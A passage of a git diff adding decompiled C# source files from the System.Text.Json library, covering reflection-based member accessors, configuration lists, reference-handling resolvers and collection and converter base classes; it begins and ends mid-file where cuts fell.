fieldType.IsValueType) + { + iLGenerator.Emit(OpCodes.Unbox_Any, fieldType); + } + iLGenerator.Emit(OpCodes.Stfld, fieldInfo); + iLGenerator.Emit(OpCodes.Ret); + return dynamicMethod; + } + + private static DynamicMethod CreateGetterMethod(string memberName, Type memberType) + { + return new DynamicMethod(memberName + "Getter", memberType, new Type[1] { JsonTypeInfo.ObjectType }, typeof(ReflectionEmitMemberAccessor).Module, skipVisibility: true); + } + + private static DynamicMethod CreateSetterMethod(string memberName, Type memberType) + { + return new DynamicMethod(memberName + "Setter", typeof(void), new Type[2] + { + JsonTypeInfo.ObjectType, + memberType + }, typeof(ReflectionEmitMemberAccessor).Module, skipVisibility: true); + } + + [return: NotNullIfNotNull("method")] + private static T CreateDelegate(DynamicMethod method) where T : Delegate + { + return (T)(method?.CreateDelegate(typeof(T))); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ReflectionMemberAccessor.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ReflectionMemberAccessor.cs new file mode 100644 index 0000000..6b3f4d5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/ReflectionMemberAccessor.cs @@ -0,0 +1,133 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; + +namespace System.Text.Json.Serialization.Metadata; + +internal sealed class ReflectionMemberAccessor : MemberAccessor +{ + public override Func CreateParameterlessConstructor([DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicConstructors)] Type type, ConstructorInfo ctorInfo) + { + if (type.IsAbstract) + { + return null; + } + if ((object)ctorInfo == null) + { + if (!type.IsValueType) + { + return null; + } + return () => Activator.CreateInstance(type, nonPublic: false); + } + return () => ctorInfo.Invoke(null); + } + + public override Func CreateParameterizedConstructor(ConstructorInfo constructor) + { + Type typeFromHandle = typeof(T); + int parameterCount = constructor.GetParameters().Length; + return delegate(object[] arguments) + { + object[] array = new object[parameterCount]; + for (int i = 0; i < parameterCount; i++) + { + array[i] = arguments[i]; + } + try + { + return (T)constructor.Invoke(array); + } + catch (TargetInvocationException ex) + { + throw ex.InnerException ?? ex; + } + }; + } + + public override JsonTypeInfo.ParameterizedConstructorDelegate CreateParameterizedConstructor(ConstructorInfo constructor) + { + Type typeFromHandle = typeof(T); + int parameterCount = constructor.GetParameters().Length; + return delegate(TArg0 arg0, TArg1 arg1, TArg2 arg2, TArg3 arg3) + { + object[] array = new object[parameterCount]; + for (int i = 0; i < parameterCount; i++) + { + switch (i) + { + case 0: + array[0] = arg0; + break; + case 1: + array[1] = arg1; + break; + case 2: + array[2] = arg2; + break; + case 3: + array[3] = arg3; + break; + default: + throw new InvalidOperationException(); + } + } + return (T)constructor.Invoke(array); + }; + } + + public override Action CreateAddMethodDelegate<[DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicMethods)] TCollection>() + { + Type typeFromHandle = typeof(TCollection); + Type objectType = JsonTypeInfo.ObjectType; + MethodInfo addMethod = typeFromHandle.GetMethod("Push") ?? typeFromHandle.GetMethod("Enqueue"); + return delegate(TCollection collection, object element) + { + addMethod.Invoke(collection, new object[1] { element }); + }; + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public override Func, TCollection> CreateImmutableEnumerableCreateRangeDelegate() + { + MethodInfo immutableEnumerableCreateRangeMethod = typeof(TCollection).GetImmutableEnumerableCreateRangeMethod(typeof(TElement)); + return (Func, TCollection>)immutableEnumerableCreateRangeMethod.CreateDelegate(typeof(Func, TCollection>)); + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public override Func>, TCollection> CreateImmutableDictionaryCreateRangeDelegate() + { + MethodInfo immutableDictionaryCreateRangeMethod = typeof(TCollection).GetImmutableDictionaryCreateRangeMethod(typeof(TKey), typeof(TValue)); + return (Func>, TCollection>)immutableDictionaryCreateRangeMethod.CreateDelegate(typeof(Func>, TCollection>)); + } + + public override Func CreatePropertyGetter(PropertyInfo propertyInfo) + { + MethodInfo getMethodInfo = propertyInfo.GetMethod; + return (object obj) => (TProperty)getMethodInfo.Invoke(obj, null); + } + + public override Action CreatePropertySetter(PropertyInfo propertyInfo) + { + MethodInfo setMethodInfo = propertyInfo.SetMethod; + return delegate(object obj, TProperty value) + { + setMethodInfo.Invoke(obj, new object[1] { value }); + }; + } + + public override Func CreateFieldGetter(FieldInfo fieldInfo) + { + return (object obj) => (TProperty)fieldInfo.GetValue(obj); + } + + public override Action CreateFieldSetter(FieldInfo fieldInfo) + { + return delegate(object obj, TProperty value) + { + fieldInfo.SetValue(obj, value); + }; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ConfigurationList.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ConfigurationList.cs new file mode 100644 index 0000000..2ccc29d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ConfigurationList.cs @@ -0,0 +1,124 @@ +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; + +namespace System.Text.Json.Serialization; + +[DebuggerDisplay("{DebuggerDisplay,nq}")] +[DebuggerTypeProxy(typeof(ConfigurationList<>.ConfigurationListDebugView))] +internal abstract class ConfigurationList : IList, ICollection, IEnumerable, IEnumerable +{ + private sealed class ConfigurationListDebugView(ConfigurationList collection) + { + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public TItem[] Items => collection._list.ToArray(); + } + + protected readonly List _list; + + public abstract bool IsReadOnly { get; } + + public TItem this[int index] + { + get + { + return _list[index]; + } + set + { + if (value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + ValidateAddedValue(value); + OnCollectionModifying(); + _list[index] = value; + } + } + + public int Count => _list.Count; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => $"Count = {Count}, IsReadOnly = {IsReadOnly}"; + + public ConfigurationList(IEnumerable source = null) + { + _list = ((source == null) ? new List() : new List(source)); + } + + protected abstract void OnCollectionModifying(); + + protected virtual void ValidateAddedValue(TItem item) + { + } + + public void Add(TItem item) + { + if (item == null) + { + ThrowHelper.ThrowArgumentNullException("item"); + } + ValidateAddedValue(item); + OnCollectionModifying(); + _list.Add(item); + } + + public void Clear() + { + OnCollectionModifying(); + _list.Clear(); + } + + public bool Contains(TItem item) + { + return _list.Contains(item); + } + + public void CopyTo(TItem[] array, int arrayIndex) + { + _list.CopyTo(array, arrayIndex); + } + + public List.Enumerator GetEnumerator() + { + return _list.GetEnumerator(); + } + + public int IndexOf(TItem item) + { + return _list.IndexOf(item); + } + + public void Insert(int index, TItem item) + { + if (item == null) + { + ThrowHelper.ThrowArgumentNullException("item"); + } + ValidateAddedValue(item); + OnCollectionModifying(); + _list.Insert(index, item); + } + + public bool Remove(TItem item) + { + OnCollectionModifying(); + return _list.Remove(item); + } + + public void RemoveAt(int index) + { + OnCollectionModifying(); + _list.RemoveAt(index); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return _list.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return _list.GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IAsyncEnumerableConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IAsyncEnumerableConverterFactory.cs new file mode 100644 index 0000000..0f4ada0 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IAsyncEnumerableConverterFactory.cs @@ -0,0 +1,28 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Reflection; +using System.Text.Json.Serialization.Converters; + +namespace System.Text.Json.Serialization; + +[RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] +internal sealed class IAsyncEnumerableConverterFactory : JsonConverterFactory +{ + public override bool CanConvert(Type typeToConvert) + { + return (object)GetAsyncEnumerableInterface(typeToConvert) != null; + } + + public override JsonConverter CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + Type asyncEnumerableInterface = GetAsyncEnumerableInterface(typeToConvert); + Type type = asyncEnumerableInterface.GetGenericArguments()[0]; + Type type2 = typeof(IAsyncEnumerableOfTConverter<, >).MakeGenericType(typeToConvert, type); + return (JsonConverter)Activator.CreateInstance(type2); + } + + private static Type GetAsyncEnumerableInterface(Type type) + { + return type.GetCompatibleGenericInterface(typeof(IAsyncEnumerable<>)); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IEnumerableConverterFactoryHelpers.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IEnumerableConverterFactoryHelpers.cs new file mode 100644 index 0000000..0a2aa24 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IEnumerableConverterFactoryHelpers.cs @@ -0,0 +1,97 @@ +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Text.Json.Reflection; + +namespace System.Text.Json.Serialization; + +internal static class IEnumerableConverterFactoryHelpers +{ + internal const string ImmutableConvertersUnreferencedCodeMessage = "System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code."; + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public static MethodInfo GetImmutableEnumerableCreateRangeMethod(this Type type, Type elementType) + { + Type immutableEnumerableConstructingType = GetImmutableEnumerableConstructingType(type); + if (immutableEnumerableConstructingType != null) + { + MethodInfo[] methods = immutableEnumerableConstructingType.GetMethods(); + MethodInfo[] array = methods; + foreach (MethodInfo methodInfo in array) + { + if (methodInfo.Name == "CreateRange" && methodInfo.GetParameters().Length == 1 && methodInfo.IsGenericMethod && methodInfo.GetGenericArguments().Length == 1) + { + return methodInfo.MakeGenericMethod(elementType); + } + } + } + ThrowHelper.ThrowNotSupportedException_SerializationNotSupported(type); + return null; + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public static MethodInfo GetImmutableDictionaryCreateRangeMethod(this Type type, Type keyType, Type valueType) + { + Type immutableDictionaryConstructingType = GetImmutableDictionaryConstructingType(type); + if (immutableDictionaryConstructingType != null) + { + MethodInfo[] methods = immutableDictionaryConstructingType.GetMethods(); + MethodInfo[] array = methods; + foreach (MethodInfo methodInfo in array) + { + if (methodInfo.Name == "CreateRange" && methodInfo.GetParameters().Length == 1 && methodInfo.IsGenericMethod && methodInfo.GetGenericArguments().Length == 2) + { + return methodInfo.MakeGenericMethod(keyType, valueType); + } + } + } + ThrowHelper.ThrowNotSupportedException_SerializationNotSupported(type); + return null; + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + private static Type GetImmutableEnumerableConstructingType(Type type) + { + string immutableEnumerableConstructingTypeName = type.GetImmutableEnumerableConstructingTypeName(); + if (immutableEnumerableConstructingTypeName != null) + { + return type.Assembly.GetType(immutableEnumerableConstructingTypeName); + } + return null; + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + private static Type GetImmutableDictionaryConstructingType(Type type) + { + string immutableDictionaryConstructingTypeName = type.GetImmutableDictionaryConstructingTypeName(); + if (immutableDictionaryConstructingTypeName != null) + { + return type.Assembly.GetType(immutableDictionaryConstructingTypeName); + } + return null; + } + + public static bool IsNonGenericStackOrQueue(this Type type) + { + Type typeIfExists = GetTypeIfExists("System.Collections.Stack, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"); + if ((object)typeIfExists != null && typeIfExists.IsAssignableFrom(type)) + { + return true; + } + Type typeIfExists2 = GetTypeIfExists("System.Collections.Queue, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"); + if ((object)typeIfExists2 != null && typeIfExists2.IsAssignableFrom(type)) + { + return true; + } + return false; + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2057:TypeGetType", Justification = "This method exists to allow for 'weak references' to the Stack and Queue types. If those types are used in the app, they will be preserved by the app and Type.GetType will return them. If those types are not used in the app, we don't want to preserve them here.")] + private static Type GetTypeIfExists(string name) + { + return Type.GetType(name, throwOnError: false); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnDeserialized.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnDeserialized.cs new file mode 100644 index 0000000..e2f63f3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnDeserialized.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization; + +public interface IJsonOnDeserialized +{ + void OnDeserialized(); +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnDeserializing.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnDeserializing.cs new file mode 100644 index 0000000..951d650 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnDeserializing.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization; + +public interface IJsonOnDeserializing +{ + void OnDeserializing(); +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnSerialized.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnSerialized.cs new file mode 100644 index 0000000..d690c62 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnSerialized.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization; + +public interface IJsonOnSerialized +{ + void OnSerialized(); +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnSerializing.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnSerializing.cs new file mode 100644 index 0000000..bc3d352 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IJsonOnSerializing.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization; + +public interface IJsonOnSerializing +{ + void OnSerializing(); +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IgnoreReferenceHandler.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IgnoreReferenceHandler.cs new file mode 100644 index 0000000..4c304a3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IgnoreReferenceHandler.cs @@ -0,0 +1,14 @@ +namespace System.Text.Json.Serialization; + +internal sealed class IgnoreReferenceHandler : ReferenceHandler +{ + public IgnoreReferenceHandler() + { + HandlingStrategy = ReferenceHandlingStrategy.IgnoreCycles; + } + + public override ReferenceResolver CreateResolver() + { + return new IgnoreReferenceResolver(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IgnoreReferenceResolver.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IgnoreReferenceResolver.cs new file mode 100644 index 0000000..9a7d852 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/IgnoreReferenceResolver.cs @@ -0,0 +1,43 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization; + +internal sealed class IgnoreReferenceResolver : ReferenceResolver +{ + private Stack _stackForCycleDetection; + + internal override void PopReferenceForCycleDetection() + { + _stackForCycleDetection.Pop(); + } + + internal override bool ContainsReferenceForCycleDetection(object value) + { + return _stackForCycleDetection?.Contains(new ReferenceEqualsWrapper(value)) ?? false; + } + + internal override void PushReferenceForCycleDetection(object value) + { + ReferenceEqualsWrapper item = new ReferenceEqualsWrapper(value); + if (_stackForCycleDetection == null) + { + _stackForCycleDetection = new Stack(); + } + _stackForCycleDetection.Push(item); + } + + public override void AddReference(string referenceId, object value) + { + throw new InvalidOperationException(); + } + + public override string GetReference(object value, out bool alreadyExists) + { + throw new InvalidOperationException(); + } + + public override object ResolveReference(string referenceId) + { + throw new InvalidOperationException(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonAttribute.cs new file mode 100644 index 0000000..97c7d78 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonAttribute.cs @@ -0,0 +1,5 @@ +namespace System.Text.Json.Serialization; + +public abstract class JsonAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonCollectionConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonCollectionConverter.cs new file mode 100644 index 0000000..525775b --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonCollectionConverter.cs @@ -0,0 +1,246 @@ +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization; + +internal abstract class JsonCollectionConverter : JsonResumableConverter +{ + internal override bool SupportsCreateObjectDelegate => true; + + internal override Type ElementType => typeof(TElement); + + private protected sealed override ConverterStrategy GetDefaultConverterStrategy() + { + return ConverterStrategy.Enumerable; + } + + protected abstract void Add(in TElement value, ref ReadStack state); + + protected virtual void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + JsonPropertyInfo parentProperty = state.ParentProperty; + if (parentProperty != null && parentProperty.TryGetPrePopulatedValue(ref state)) + { + return; + } + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + if (jsonTypeInfo.CreateObject == null) + { + if (Type.IsAbstract || Type.IsInterface) + { + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + else + { + ThrowHelper.ThrowNotSupportedException_DeserializeNoConstructor(Type, ref reader, ref state); + } + } + state.Current.ReturnValue = jsonTypeInfo.CreateObject(); + } + + protected virtual void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + } + + protected static JsonConverter GetElementConverter(JsonTypeInfo elementTypeInfo) + { + return ((JsonTypeInfo)elementTypeInfo).EffectiveConverter; + } + + protected static JsonConverter GetElementConverter(ref WriteStack state) + { + return (JsonConverter)state.Current.JsonPropertyInfo.EffectiveConverter; + } + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, [MaybeNullWhen(false)] out TCollection value) + { + JsonTypeInfo elementTypeInfo = state.Current.JsonTypeInfo.ElementTypeInfo; + bool isPopulatedValue; + if (!state.SupportContinuation && !state.Current.CanContainMetadata) + { + if (reader.TokenType != JsonTokenType.StartArray) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + CreateCollection(ref reader, ref state, options); + state.Current.JsonPropertyInfo = elementTypeInfo.PropertyInfoForTypeInfo; + JsonConverter elementConverter = GetElementConverter(elementTypeInfo); + if (elementConverter.CanUseDirectReadOrWrite && !state.Current.NumberHandling.HasValue) + { + while (true) + { + reader.ReadWithVerify(); + if (reader.TokenType == JsonTokenType.EndArray) + { + break; + } + Add(elementConverter.Read(ref reader, elementConverter.Type, options), ref state); + } + } + else + { + while (true) + { + reader.ReadWithVerify(); + if (reader.TokenType == JsonTokenType.EndArray) + { + break; + } + elementConverter.TryRead(ref reader, typeof(TElement), options, ref state, out var value2, out isPopulatedValue); + Add(in value2, ref state); + } + } + } + else + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + if (state.Current.ObjectState == StackFrameObjectState.None) + { + if (reader.TokenType == JsonTokenType.StartArray) + { + state.Current.ObjectState = StackFrameObjectState.ReadMetadata; + } + else if (state.Current.CanContainMetadata) + { + if (reader.TokenType != JsonTokenType.StartObject) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + state.Current.ObjectState = StackFrameObjectState.StartToken; + } + else + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + } + if (state.Current.CanContainMetadata && (int)state.Current.ObjectState < 2) + { + if (!JsonSerializer.TryReadMetadata(this, jsonTypeInfo, ref reader, ref state)) + { + value = default(TCollection); + return false; + } + if (state.Current.MetadataPropertyNames == MetadataPropertyName.Ref) + { + value = JsonSerializer.ResolveReferenceId(ref state); + return true; + } + state.Current.ObjectState = StackFrameObjectState.ReadMetadata; + } + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Type) != MetadataPropertyName.None && state.Current.PolymorphicSerializationState != PolymorphicSerializationState.PolymorphicReEntryStarted) + { + JsonConverter jsonConverter = ResolvePolymorphicConverter(jsonTypeInfo, ref state); + if (jsonConverter != null) + { + object value3; + bool flag = jsonConverter.OnTryReadAsObject(ref reader, jsonConverter.Type, options, ref state, out value3); + value = (TCollection)value3; + state.ExitPolymorphicConverter(flag); + return flag; + } + } + if ((int)state.Current.ObjectState < 4) + { + if (state.Current.CanContainMetadata) + { + JsonSerializer.ValidateMetadataForArrayConverter(this, ref reader, ref state); + } + CreateCollection(ref reader, ref state, options); + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Id) != MetadataPropertyName.None) + { + state.ReferenceResolver.AddReference(state.ReferenceId, state.Current.ReturnValue); + state.ReferenceId = null; + } + state.Current.ObjectState = StackFrameObjectState.CreatedObject; + } + if ((int)state.Current.ObjectState < 5) + { + JsonConverter elementConverter2 = GetElementConverter(elementTypeInfo); + state.Current.JsonPropertyInfo = elementTypeInfo.PropertyInfoForTypeInfo; + while (true) + { + if ((int)state.Current.PropertyState < 3) + { + state.Current.PropertyState = StackFramePropertyState.ReadValue; + if (!JsonConverter.SingleValueReadWithReadAhead(elementConverter2.RequiresReadAhead, ref reader, ref state)) + { + value = default(TCollection); + return false; + } + } + if ((int)state.Current.PropertyState < 4) + { + if (reader.TokenType == JsonTokenType.EndArray) + { + break; + } + state.Current.PropertyState = StackFramePropertyState.ReadValueIsEnd; + } + if ((int)state.Current.PropertyState < 5) + { + if (!elementConverter2.TryRead(ref reader, typeof(TElement), options, ref state, out var value4, out isPopulatedValue)) + { + value = default(TCollection); + return false; + } + Add(in value4, ref state); + state.Current.EndElement(); + } + } + state.Current.ObjectState = StackFrameObjectState.ReadElements; + } + if ((int)state.Current.ObjectState < 6) + { + state.Current.ObjectState = StackFrameObjectState.EndToken; + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Values) != MetadataPropertyName.None && !reader.Read()) + { + value = default(TCollection); + return false; + } + } + if ((int)state.Current.ObjectState < 7 && (state.Current.MetadataPropertyNames & MetadataPropertyName.Values) != MetadataPropertyName.None && reader.TokenType != JsonTokenType.EndObject) + { + ThrowHelper.ThrowJsonException_MetadataInvalidPropertyInArrayMetadata(ref state, typeToConvert, in reader); + } + } + ConvertCollection(ref state, options); + value = (TCollection)state.Current.ReturnValue; + return true; + } + + internal override bool OnTryWrite(Utf8JsonWriter writer, TCollection value, JsonSerializerOptions options, ref WriteStack state) + { + bool flag; + if (value == null) + { + writer.WriteNullValue(); + flag = true; + } + else + { + if (!state.Current.ProcessedStartToken) + { + state.Current.ProcessedStartToken = true; + if (state.CurrentContainsMetadata && CanHaveMetadata) + { + state.Current.MetadataPropertyName = JsonSerializer.WriteMetadataForCollection(this, ref state, writer); + } + writer.WriteStartArray(); + state.Current.JsonPropertyInfo = state.Current.JsonTypeInfo.ElementTypeInfo.PropertyInfoForTypeInfo; + } + flag = OnWriteResume(writer, value, options, ref state); + if (flag && !state.Current.ProcessedEndToken) + { + state.Current.ProcessedEndToken = true; + writer.WriteEndArray(); + if (state.Current.MetadataPropertyName != MetadataPropertyName.None) + { + writer.WriteEndObject(); + } + } + } + return flag; + } + + protected abstract bool OnWriteResume(Utf8JsonWriter writer, TCollection value, JsonSerializerOptions options, ref WriteStack state); +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConstructorAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConstructorAttribute.cs new file mode 100644 index 0000000..bc188d1 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConstructorAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Constructor, AllowMultiple = false)] +public sealed class JsonConstructorAttribute : JsonAttribute +{ +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConverter.cs new file mode 100644 index 0000000..f205cd5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConverter.cs @@ -0,0 +1,773 @@ +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Text.Json.Serialization.Converters; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization; + +public abstract class JsonConverter +{ + private ConverterStrategy _converterStrategy; + + public abstract Type? Type { get; } + + internal ConverterStrategy ConverterStrategy + { + get + { + return _converterStrategy; + } + init + { + CanUseDirectReadOrWrite = value == ConverterStrategy.Value && IsInternalConverter; + RequiresReadAhead = value == ConverterStrategy.Value; + _converterStrategy = value; + } + } + + internal virtual bool SupportsCreateObjectDelegate => false; + + internal virtual bool CanPopulate => false; + + internal bool CanUseDirectReadOrWrite { get; set; } + + internal virtual bool CanHaveMetadata => false; + + internal bool CanBePolymorphic { get; set; } + + internal bool RequiresReadAhead { get; set; } + + internal bool UsesDefaultHandleNull { get; private protected set; } + + internal bool HandleNullOnRead { get; private protected init; } + + internal bool HandleNullOnWrite { get; private protected init; } + + internal virtual JsonConverter? SourceConverterForCastingConverter => null; + + internal abstract Type? ElementType { get; } + + internal abstract Type? KeyType { get; } + + internal bool IsValueType { get; init; } + + internal bool IsInternalConverter { get; init; } + + internal bool IsInternalConverterForNumberType { get; init; } + + internal virtual bool ConstructorIsParameterized { get; } + + internal ConstructorInfo? ConstructorInfo { get; set; } + + internal JsonConverter() + { + IsInternalConverter = GetType().Assembly == typeof(JsonConverter).Assembly; + ConverterStrategy = GetDefaultConverterStrategy(); + } + + public abstract bool CanConvert(Type typeToConvert); + + private protected abstract ConverterStrategy GetDefaultConverterStrategy(); + + internal virtual void ReadElementAndSetProperty(object obj, string propertyName, ref Utf8JsonReader reader, JsonSerializerOptions options, scoped ref ReadStack state) + { + throw new InvalidOperationException(); + } + + internal virtual JsonTypeInfo CreateJsonTypeInfo(JsonSerializerOptions options) + { + throw new InvalidOperationException(); + } + + internal JsonConverter CreateCastingConverter() + { + if (this is JsonConverter result) + { + return result; + } + JsonSerializerOptions.CheckConverterNullabilityIsSameAsPropertyType(this, typeof(TTarget)); + return SourceConverterForCastingConverter?.CreateCastingConverter() ?? new CastingConverter(this); + } + + internal static bool ShouldFlush(Utf8JsonWriter writer, ref WriteStack state) + { + if (state.FlushThreshold > 0) + { + return writer.BytesPending > state.FlushThreshold; + } + return false; + } + + internal abstract object ReadAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options); + + internal abstract bool OnTryReadAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out object value); + + internal abstract bool TryReadAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out object value); + + internal abstract object ReadAsPropertyNameAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options); + + internal abstract object ReadAsPropertyNameCoreAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options); + + internal abstract object ReadNumberWithCustomHandlingAsObject(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options); + + internal abstract void WriteAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options); + + internal abstract bool OnTryWriteAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options, ref WriteStack state); + + internal abstract bool TryWriteAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options, ref WriteStack state); + + internal abstract void WriteAsPropertyNameAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options); + + internal abstract void WriteAsPropertyNameCoreAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options, bool isWritingExtensionDataProperty); + + internal abstract void WriteNumberWithCustomHandlingAsObject(Utf8JsonWriter writer, object value, JsonNumberHandling handling); + + internal virtual void ConfigureJsonTypeInfo(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal virtual void ConfigureJsonTypeInfoUsingReflection(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + } + + internal JsonConverter ResolvePolymorphicConverter(JsonTypeInfo jsonTypeInfo, ref ReadStack state) + { 